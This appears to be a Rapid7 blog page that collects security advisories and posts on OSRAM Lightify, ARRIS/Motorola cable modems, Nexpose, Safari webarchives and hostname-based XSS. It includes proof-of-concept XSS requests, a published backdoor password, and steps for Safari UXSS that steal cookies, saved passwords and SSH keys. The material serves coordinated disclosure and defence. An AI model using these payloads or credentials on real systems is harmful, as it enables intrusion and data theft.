SSL Pinning (Pro) (CVE-2016-5057) As in the Home version of the system, the Pro version does not implement SSL pinning in the mobile app. See R7-2016-10.2: Lack of SSL Pinning (Home) (CVE-2016-5052), above. R7-2016-10.8: ZigBee Network Command Replay (Pro) (CVE-2016-5058) As in the Home version of the system, the Pro version does not implement rekeying of the ZigBee commands. See R7-2016-10.4: ZigBee Network Command Replay (Home) (CVE-2016-5054), above. R7-2016-10.9: Cached Screenshot Information Leak (Pro) (CVE-2016-5059) Examination of the commissioning app revealed that the application was caching screenshot of the current page when the IPAD home button was selected in the folder,/private/var/mobile/Containers/Data/Application/A253B0DA-CFCE-433AB0A1- EAEB7B10B49C/Library/Caches/Snapshots/com.osram.LightifyPro/com.osr am.LightifyPro. This practice can often lead to confidential data being stored within the snapshot folder on the IPAD device. As shown in Figure 7, the plain text password of the gateway is displayed in the cached screenshot. Mitigation for R7-2016-10.9 A vendor-supplied patch should use a default page for the Downscale function when the home button is pressed, and that all passwords and keys displayed on the application configuration pages be obfuscated with asterisks. Absent a vendor-supplied patch, users should be mindful of when they minimize the running mobile application to avoid accidentally disclosing sensitive information. Disclosure Timeline Mon, May 16, 2016: Initial contact to the vendor by Rapid7. Tue, May 17, 2016: Vendor acknowledged receipt of vulnerability details. Tue, May 31, 2016: Details disclosed to CERT/CC (Report number VR-174). Wed, Jun 01, 2016: CVEs assigned by CERT/CC. Thu, Jul 07, 2016: Disclosure timeline updated and communicated to the vendor and CERT/CC. Thu, Jul 21, 2016: Vendor provided an update on patch development. Tue, Jul 26, 2016: Public disclosure of the issues. Update (Aug 10, 2016): Added a note about the Zigbee protocol for R7-2016-10.4 in the summary section.

What's In A Hostname?

Like the proverbial cat, curiosity can often get me in trouble, but often enough, curiosity helps us create better security. It seems like every time I encounter a product with a web management console, I end up feeding it data that it wasn't expecting. As…

Like the proverbial cat, curiosity can often get me in trouble, but often enough, curiosity helps us create better security. It seems like every time I encounter a product with a web management console, I end up feeding it data that it wasn't expecting. As an example, while configuring a wireless bridge that had a discovery function that would identify and list all Wi-Fi devices in the radio range, I thought: "I wonder what would happen if I broadcast a service set identifier (SSID) containing format string specifiers?" I set up a soft AP on my Linux host using airobase-ng and configured the SSID to broadcast %x%x%x. I was shocked when the discovered AP's SSID displayed data from the wireless bridge's process stack as shown in Figure 1: This data confirmed that this wireless bridge appliance was vulnerable to a format string exploit. This lead to the discovery of multiple devices vulnerable to injection attacks within the web management consoles via SSID, including format strings, persistent cross-site scripting (XSS) and cross-site request forgery (CSRF) (more details of these are discussed in a whitepaper I released at Blackhat). Unfortunately, attacks against web management interfaces don't stop with SSIDs. So many products inevitably consume data from various resources and then display that data within the web management console without conducting any validation checks of that data first. This often leads to vulnerabilities being exploited via the web management interfaces, and it appears to not be going away any time soon. Recently Matthew Kienow and myself released a number of advisories where XSS attacks were injected into web management consoles of Network Management Systems (NMS) using SNMP. Again—several months back—while on a pen testing engagement, a coworker was running an open source tool used to launch relay style attacks. This tool captured hostname information from the network and stored it as part of its function and of course it had a web interface. Sadly his testing was interfering with my testing, so for fun I changed my Linux systems hostname to <script>alert(“YOU-HAVE-BEEN-HACKED”)</script> . Initially I wasn't sure if this XSS attack would work, but soon enough I heard a loud scream come from his corner of the room. Now this brings me around to the purpose of this blog: What would the impact be if everyone changed the name of their host system to contain XSS data—such as <iframe>?  I am scared to even imagine the number of products that use the hostname data and display it within their web management interface. Based on all my testing against various application and embedded devices that use web interfaces for management, I have found roughly 40% of the systems I have tested to be vulnerable to some form of XSS injection attacks. So, I wonder how many administration web consoles have this sort of problem with hostname parsing? Want to Help Us Find Out? Now if this idea intrigues you, don't rush out and start renaming your systems, as even a simple XSS such as <iframe>—which should create a simple box on the screen (Figure 2)—can have serious impact on the web interface functionality of some products and could easily prevent it from functioning normally. However, if you want to try this out, first make sure you have permission and that you do it within a controlled environment—not within your production environment. If you end up giving this a try, I ask that you share the results with us at security@rapid7.com (PGP KeyID: 0x8AD4DB8D) so we can follow-up with the results in a future blog. Also, I highly recommend that you contact the product vendor for ethical disclosure so they can fix the issues. I am looking forward to hearing back on what you find.

Watch your SaaS: Partial parameter checking or the case of unfinished homework

“Laws are like sausages. It's better not to see them being made.” – Otto von BismarckI'm not sure how many of you have kids or how diligent they are with their homework but I'm sure you've heard stories of parents observing that their…

“Laws are like sausages. It's better not to see them being made.” – Otto von BismarckI'm not sure how many of you have kids or how diligent they are with their homework but I'm sure you've heard stories of parents observing that their kids have finished their homework in a remarkably short period of time.  However, upon investigation, you quickly discover that your child has only finished half of their homework.Sadly, this state of affairs can also be true for SAAS providers offering web application application security assessment services.  Only half of the work gets done, resulting in rapid, but inaccurate scans and potentially vulnerable websites that are given clean bills of health by the scanning company.Taking shortcutsIn order to find all SQL Injection and other important vulnerabilities, its critical to test every single parameter or input in an application. Properly configured web application vulnerability scanners should test parameters by locating all of the parameters on a page and then making attacks against individual parameters at a time.  So if there are 10 parameters, you do an attack against the first parameter and then enter acceptable test data values into the other nine parameters to successfully complete the form request.Why can't you just attack all 10 at once?  Well, let's say that parameter one is vulnerable and parameters two -10 have good filters or validation. If you attack parameter one with an attack that works (i.e. the application does not recognize it) and parameter two with an attack that trips the filter in the application, the application will quite likely appear to not be vulnerable.Now the problem is that if you are testing various attacks (SQL Injection, Blind SQL Injection, Cross Site Scripting, etc.) you will have dozens of attacks of each class against each parameter.  Your total attacks per parameter will exceed 100 and if you have 10 parameters on a page (which you will likely have in a signup form, for example), you will have over a thousand attacks for that page. On top of that, some of these attacks, like blind SQL, will have multiple requests per attack.Performance vs comprehensivenessMany SaaS vendors want to complete scans fast to make them look more impressive. The problem is that in order to accomplish, you have to cheat.To speed up a scan, you might only test the first parameter or the first three or whatever and then skip testing the rest of the parameters.  If the customer doesn't test the site and doesn't get hacked, no one is the wiser if those untested parameters are vulnerable.Does this matter?  Is it possible that one of parameters 4-10 is vulnerable if 1-3 are not?  In a word, yes.  Different parameter types (dates, text fields, numerical values, etc.) will have different filters.  Just because a developer got 1 right doesn't mean that he got them all correct.  We've seen numerous cases where one parameter is 100% clean and others are full of holes.  You have to thoroughly test every parameter.Letting those POSTs get away with murderSince dealing with forms on web pages can be difficult and there is a possibility that they could modify data in the database behind the web application, some SaaS solutions don't even attack them. So this means all the inputs from the forms never get tested.On many of the sites we have tested over the last decade, the form inputs sent over POST have been some of the most critical attack points with some of the worst vulns and often the most important areas to test on a website. Not testing them is the same as locking your doors, but leaving your windows wide open.How can you assess your vendorAsk your vendor the hard questions, such as:1. How many parameters do they attack per page? Are there limits they impose.2. Ask them to demonstrate that only one parameter at a time gets attacked while the other fields having good data. Heck, ask them to put these answers in the Statement of Work (SOW).3. Confirm that they attack forms and POST data. Ask them to demonstrate it or test it yourself with a trial.

Top 3 Takeaways from the & Campfire Horror Stories: 5 Most Common Findings in Pen Tests & Webcast

Penetration Tests are a key part of assuring strong security, so naturally, security professionals are very curious about how this best practice goes down from the pen tester perspective. Jack Daniel, Director of Services at Rapid7 with 13 years of penetration testing under his belt,…

Penetration Tests are a key part of assuring strong security, so naturally, security professionals are very curious about how this best practice goes down from the pen tester perspective. Jack Daniel, Director of Services at Rapid7 with 13 years of penetration testing under his belt, recently shared which flaws pen testers are regularly using to access sensitive data on the job in the webcast, “Campfire Horror Stories: 5 Most Common Findings in Pen Tests”. Read on for the top takeaways from this webcast:Patching & Passwords – Patching trends have shown great progress over the last few years but are still a large area of concern. Organizations have adopted patching standards, and are certainly more mature compared to 5-8 years. The bulk of systems, especially critical patches, are being patched regularly. However, pen testers still find organizations are missing critical patches from years and years ago, even if they are up-to-date with recent patches. As for passwords, when pen testers are able to gain access and do a massive password dump or brute forcing, over 30% of passwords include variations of an employee's company name or their company's product names. Pen testers are able to quickly work around or crack weak passwords and password hashes. To avoid these pitfalls, make sure passwords are audited regularly, don't use weak roots, and do not store password hashes locally.Beware the Default – Misconfigurations and default configurations are consistently the number 1 most common finding for penetration testers as an issue at almost every organization. If configurations are not regularly reviewed, it can lead to accidental information leaks. A default account left enabled on a device that gets rolled out without a security review is a quick foothold into any network. A system that is different from most others on a network, and outliers within the network in general, are also weak points for attackers to focus on since they know securing an outlier device will require additional expertise from the security team. To prepare for misconfiguration and default configuration issues, know your network and what it will look like to an attacker, and segment wherever possible so that a blind spot cannot spiral into a devastating breach.Encryption Good, XSS Bad – Storing or transmitting sensitive data in clear text and cross site scripting are two other common missteps that pen testers come across. Data left unencrypted is completely reliant on network controls for protection and vulnerable to attackers. Put an emphasis on securing an app or device itself, and encrypt your data while storing or transmitting it, keeping in mind that databases tend to be less secure. Web flaws and cross site scripting are becoming more pervasive. To combat this, ensure your users and their browsers have client side scripts disabled wherever possible.  To learn more about the most common findings in pen tests: view the on-demand webinar now.

R7-2015-01: CSRF, Backdoor, and Persistent XSS on ARRIS / Motorola Cable Modems

By combining a number of distinct vulnerabilities, attackers may take control of the web interface for popular cable modems in order to further compromise internal hosts over an external interface. Affected Product ARRIS / Motorola SURFboard SBG6580 Series Wi-Fi Cable Modem The device is described by…

By combining a number of distinct vulnerabilities, attackers may take control of the web interface for popular cable modems in order to further compromise internal hosts over an external interface. Affected Product ARRIS / Motorola SURFboard SBG6580 Series Wi-Fi Cable Modem The device is described by the vendor as a "fully integrated all-in-one home networking solution that combines the functionality of a DOCSIS/EuroDOCSIS 3.0 cable modem, four-port 10/100/1000 Ethernet switch with advanced firewall, and an 802.11n Wi-Fi access point [which is] cost-effective, efficient, and secure." Firmware versions SBG6580Ð6.5.2.0-GAÐ06Ð077-NOSH, and SBG6580-8.6.1.0-GA-04-098-NOSH have been confirmed as vulnerable. Vulnerability Overview The web interface for the Arris / Motorola Surfboard SBG6580 has several vulnerabilities that, when combined, allow an arbitrary, external website to take control of the modem, even if the victim is not currently logged in. The attacker must successfully know, or guess, the victim's internal gateway IP address.  This is usually a default value of 192.168.0.1. It's important to stress that, taken separately, these vulnerabilities are not all that unusual for embedded devices with web management interfaces. Taken together, though, an attacker can perform malicious network reconfigurations. CSRF Vulnerability (CVE-2015-0965) Due to a lack of cross-site request forgery (CSRF) protections in the device's login form, a login action can be performed on behalf of the victim's browser by an arbitrary website, without the user's knowledge. Backdoor Vulnerability (CVE-2015-0966) Once in a position to log in to the administrative interface of a SURFboard device, authentication is made trivial due to the presence of a widely known, pre-installed backdoor account. The tested devices had a "technician" user with the password, "yZgO8Bvj." Other accounts may be present as installed by service providers and resellers. XSS Vulnerability (CVE-2015-0964) Once successfully logged in, a persistent XSS vulnerability in the firewall configuration page can allow authenticated attackers to inject Javascript capable of performing any action available in the router interface. Vulnerability Details The script injection occurs in the Firewall Local Log section of the web interface. The following HTTP request will gain persistent XSS in the router interface, provided the victim is authenticated: POST /goform/RgFirewallEL HTTP/1.1 Host: 192.168.0.1 Connection: keep-alive Content-Length: 128 Cache-Control: max-age=0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Origin: http://192.168.0.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 Content-Type: application/x-www-form-urlencoded Referer: http://192.168.0.1/RgFirewallEL.asp Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.8 EmailAddress:<script>@a.com<script>alert(1)</script> SmtpServerName: SmtpUsername: SmtpPassword: LogAction:0 Impact of Successful Exploitation A remote attacker can gain full control over a target's router via the web interface and UPnP. One exploit scenario is described below: The victim clicks a link that leads to a page controlled by the attack, with Javascript enabled on the victim's browser. Malicious code fingerprints the victim's router based on an image served by the web interface. Malicious code attempts to log in with guessed credentials (admin/motorola) Malicious code sends a CSRF request with embedded XSS payload Malicious code loads reflected page in an invisible iframe and renders injected XSS payload Malicious code can now modify router settings and configure the victim's network for further exfiltration and exploitation. The Metasploit module, published in conjunction with this advisory, takes advantage of all three vulnerabilities to place an arbitrary internal endpoint in the DMZ of the affected network, thus exposing all running services to direct Internet access. In addition, the Metasploit module automatically downloads a copy of of all registered DHCP clients, complete with their MAC addresses, IP addresses, and hostnames. Recommended Fixes and Mitigations The vendor may mitigate these issues with the following: Better sanitization of the EmailAddress input to /goform/RgFirewallEL. Normal CSRF token or HTTP Referer validation on all forms. Add an X-Frame-Options header to restrict Javascript injection. Cease issuing reusable backdoor credentials. Affected users can mitigate their exposure by only visiting Internet web sites from a device that is incapable of communicating with the web administration interface on vulnerable cable modems. While this capability does not appear to be present on SURFboard device, configuring a custom local firewall rule can prevent accidental (or malicious) connectivity, as would configuring an additional hardware firewall/gateway to limit communication from internal hosts to the vulnerable device. Credit These vulnerabilities were discovered by independent security researcher Joe Vennix. Disclosure Timeline Sat Jan 03 2015: Initial discovery and PoC written and demonstrated. Fri Jan 23 2015: Security contacts at the vendor sought for reporting. Thu Feb 19 2015: Disclosed issues and PoC to CERT/CC. Fri Apr 03 2015: CVEs assigned by CERT/CC. Wed Apr 08 2015: Public Disclosure and Metasploit module published (PR #5105). *Updated disclosure timeline to accurately reflect that CVEs were assigned in April, not February.

NEX-37823 XSS in Nexpose vuln-summary.jsp (Fixed)

Nexpose users are urged to update to the lastest version of Nexpose to receive the patch for the described security vulnerability. Note that by default, Nexpose installations update themselves automatically. A cross-site scripting (XSS) vulnerability has been discovered by Yunus ÇADIRCI and subsequently patched in…

Nexpose users are urged to update to the lastest version of Nexpose to receive the patch for the described security vulnerability. Note that by default, Nexpose installations update themselves automatically. A cross-site scripting (XSS) vulnerability has been discovered by Yunus ÇADIRCI and subsequently patched in recent versions of Rapid7's Nexpose vulnerability scanner. By providing URL-encoded HTML tags (including script tags), an unauthenticated attacker can lure an authenticated (or unauthenticated) victim into disclosing sensitive details regarding the Nexpose session. Nexpose users are urged to update their installation to the latest patches if they are not already on an automated update schedule. Vulnerability Details The following proof of concept query is sufficient to exercise the vulnerability: GET /vulnerability/vuln-summary.jsp?vulnid=-1&nodeid=-1%27%3Cscript%3Ealert(document.location)%3C/script%3E HTTP/1.1 Host: 1.2.3.4:3780 If an authenticated Nexpose user follows this link, she would be presented with a standard alert box displaying the URL location. Affected Versions Nexpose versions 5.7.19 and prior are affected. Version 5.7.20, released on November 27, 2013, contains the fix, and are not affected by the vulnerability. Workarounds Users can mitigate the effects of XSS vulnerabilities by browsing Nexpose consoles in private/incognito browser modes and avoiding websites with untrusted user-generated content while logged in. In addition, site administrators can restrict access to Nexpose consoles to trusted networks with firewall ingress and egress rules in place. Finally, airgapped installations are generally not vulnerable to non-persistent XSS vulnerabilities such as this. Disclosure timeline 2013-11-22: Private disclosure by Nexpose user @yunuscadirci 2013-11-22: Vulnerability validated by Rapid7 product engineering 2013-11-23: Fix implemented by Rapid7 product engineering 2013-11-27: Update released to address the vulnerability 2013-12-10: Discoverer and Rapid7 coordinate disclosure details 2013-12-11: Public Disclosure Again, thanks to Yunus for the disclosure -- if you uncover a vulnerability in any of Rapid7's products or assets, we'd appreciate it if you reported it to security@rapid7.com. Our PGP key is Key ID 0x2380F85B8AD4DB8D.

Abusing Safari's webarchive file format

tldr: For now, don't open .webarchive files, and check the Metasploit module, Apple Safari .webarchive File Format UXSS Safari's webarchive format saves all the resources in a web page - images, scripts, stylesheets - into a single file. A flaw exists in the security model…

tldr: For now, don't open .webarchive files, and check the Metasploit module, Apple Safari .webarchive File Format UXSS Safari's webarchive format saves all the resources in a web page - images, scripts, stylesheets - into a single file. A flaw exists in the security model behind webarchives that allows us to execute script in the context of any domain (a Universal Cross-site Scripting bug). In order to exploit this vulnerability, an attacker must somehow deliver the webarchive file to the victim and have the victim manually open it1(e.g. through email or a forced download), after ignoring a potential "this content was downloaded from a webpage" warning message2. It is easy to reproduce this vulnerability on any Safari browser: Simply go to https://browserscan.rapid7.com/ (or any website that uses cookies), and select File -> Save As... and save the webarchive to your ~/Desktop as metasploit.webarchive. Now convert it from a binary plist to an XML document (on OSX): plutil -convert xml1 -o ~/Desktop/metasploit_xml.webarchive ~/Desktop/metasploit.webarchive Open up ~/Desktop/metasploit_xml.webarchive in your favorite text editor. Paste the following line (base64 for alert(document.cookie) ) at the top of the first large base64 block. PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpPC9zY3JpcHQ Now save the file and double click it from Finder to open in Safari: You will see your browserscan.rapid7.com cookies in an alert box. Using this same approach, an attacker can send you crafted webarchives that, upon being opened by the user, will send cookies and saved passwords back to the attacker. By modifying the WebResourceURL key, we can write script that executes in the context of any domain, which is why this counts as a UXSS bug. Unfortunately, Apple has labeled this a "wontfix" since the webarchives must be downloaded and manually opened by the client. This is a potentially dangerous decision, since a user expects better security around the confidential details stored in the browser, and since the webarchive format is otherwise quite useful. Also, not fixing this leaves only the browser's file:// URL redirect protection, which has been bypassed many times in the past. Let's see how we can abuse this vulnerability by attempting to attack browserscan.rapid7.com: Attack Vector #1: Steal the user's cookies. Straightforward. In the context of https://browserscan.rapid7.com/, simply send the attacker back the document.cookie. HTTP-only cookies make this attack vector far less useful. Attack Vector #2: Steal CSRF tokens. Force the browser to perform an AJAX fetch of https://browserscan.rapid7.com and send the response header and body back to the attacker. Attack Vector #3: Steal local files. Since .webarchives must be run in the file:// URL scheme, we can fetch the contents of local files by placing AJAX requests to file:// URLs3. Unfortunately, the tilde (~) cannot be used in file:// URLs, so unless we know the user's account name we will not be able to access the user's home directory. However this is easy to work around by fetching and parsing a few known system logs4 from there, the usernames can be parsed out and the attacker can start stealing known local file paths (like /Users/username/.ssh/id_rsa) and can even "crawl" for sensitive user files by recursively parsing .DS_Store files in predictable locations (OSX only)5. Attack Vector #4: Steal saved form passwords. Inject a javascript snippet that, when the page is loaded, dynamically creates an iframe to a page on an external domain that contains a form (probably a login form). After waiting a moment for Safari's password autofill to kick in, the script then reads the values of all the input fields in the DOM and sends it back to the attacker6. Attack Vector #5: Store poisoned javascript in the user's cache. This allows for installing “viruses” like persisted keyloggers on specific sites... VERY BAD! An attacker can store javascript in the user's cache that is run everytime the user visits https://browserscan.rapid7.com/ or any other page under browserscan.rapid7.com that references the poisoned javascript. Many popular websites cache their script assets to conserve bandwidth. In a nightmare scenario, the user could be typing emails into a "bugged" webmail, social media, or chat application for years before either 1) he clears his cache, or 2) the cached version in his browser is expired. Other useful assets to poison are CDN-hosted open-source JS libs like google's hosted jquery, since these are used throughout millions of different domains. Want to try for yourself? I've written a Metasploit module that can generate a malicious .webarchive that discretely carries out all of the above attacks on a user-specified list of URLs. It then runs a listener that prints stolen data on your msfconsole. Unless otherwise noted, all of these vectors are applicable on all versions of Safari on OSX and Windows. Disclosure Timeline Date Description 2013-02-22 Initial discovery by Joe Vennix, Metasploit Products Developer 2013-02-22 Disclosure to Apple via bugreport.apple.com 2013-03-01 Re-disclosed to Apple via bugreport.apple.com 2013-03-11 Disclosure to CERT/CC 2013-03-15 Response from CERT/CC and Apple on VU#460100 2013-04-25 Public Disclosure and Metasploit module published Footnotes 1. Safari only allows webarchives to be opened from file:// URLs; otherwise it will simply download the file. 2. Alternatively, if the attacker can find a bypass for Safari's file:// URL redirection protection (Webkit prevents scripts or HTTP redirects from navigating the user to file:// URLs from a normal https?:// page), he could redirect the user to a file URL of a .webarchive that is hosted at an absolute location (this can be achieved by forcing the user to mount an anonymous FTP share (osx only), like in our [Safari file-policy exploit](https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/osx/browser/safari_file_policy.rb)). Such bypasses are known to exist in Safari up to 6.0. 3. Unlike Chrome, Safari allows an HTML document served under the file:// protocol to access *any* file available to the user on the harddrive file:///var/log/install.log file:///var/log/system.log file:///var/log/secure.log file:///Users/username/Documents/.DS_Store file:///Users/username/Pictures/.DS_Store file:///Users/username/Desktop/.DS_Store X-Frame-Options can be used to disable loading a page in an iframe, but does not necessarily prevent against UXSS attacks stealing saved passwords. You can always attempt to pop open a new window to render the login page in. If popups are blocked, Flash can be used to trivially bypass the blocker, otherwise you can coerce the user to click a link.

Featured Research

National Exposure Index 2017

The National Exposure Index is an exploration of data derived from Project Sonar, Rapid7's security research project that gains insights into global exposure to common vulnerabilities through internet-wide surveys.

Learn More

Toolkit

Make Your SIEM Project a Success with Rapid7

In this toolkit, get access to Gartner's report “Overcoming Common Causes for SIEM Solution Deployment Failures,” which details why organizations are struggling to unify their data and find answers from it. Also get the Rapid7 companion guide with helpful recommendations on approaching your SIEM needs.

Download Now

Podcast

Security Nation

Security Nation is a podcast dedicated to covering all things infosec – from what's making headlines to practical tips for organizations looking to improve their own security programs. Host Kyle Flaherty has been knee–deep in the security sector for nearly two decades. At Rapid7 he leads a solutions-focused team with the mission of helping security professionals do their jobs.

Listen Now